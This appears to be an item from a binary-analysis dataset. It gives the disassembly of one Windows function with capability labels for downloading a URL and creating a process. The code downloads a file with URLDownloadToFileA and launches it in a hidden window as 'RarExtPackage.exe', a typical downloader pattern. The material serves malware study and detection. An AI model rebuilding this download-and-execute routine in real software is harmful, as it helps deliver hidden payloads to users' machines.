Function at 0x140002090
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x38], rax
mov rbx, rdx
mov r8, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x1400020c5
mov r8, qword [rdx]
cmp qword [rcx + 0x18], 0xf
jbe 0x1400020cf
mov rcx, qword [rcx]
xor edi, edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov rdx, rcx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x1400022b1
mov dword [rbp - 0x50], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000211b
mov rdx, qword [rbx]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov ecx, 0x20
call fcn.140003248
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [0x140005890]
movdqu xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [str.RarExtPackage.exe]
movups xmmword [rax], xmm0
movzx ecx, byte [0x140005530]
mov byte [rax + 0x10], cl
mov byte [rax + 0x11], dil
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.140001240
nop
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.140001240
nop
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x70]
call fcn.1400013a0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140002207
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002202
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002202
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003240
movdqa xmm0, xmmword [0x140005860]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], di
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x140002264
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002257
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002257
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003240
movdqa xmm0, xmmword [0x140005860]
movdqu xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x70], di
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400022ad
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003240
mov al, 1
jmp 0x1400022b3
xor al, al
mov rcx, qword [rbp + 0x38]
xor rcx, rsp
call fcn.140003220
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret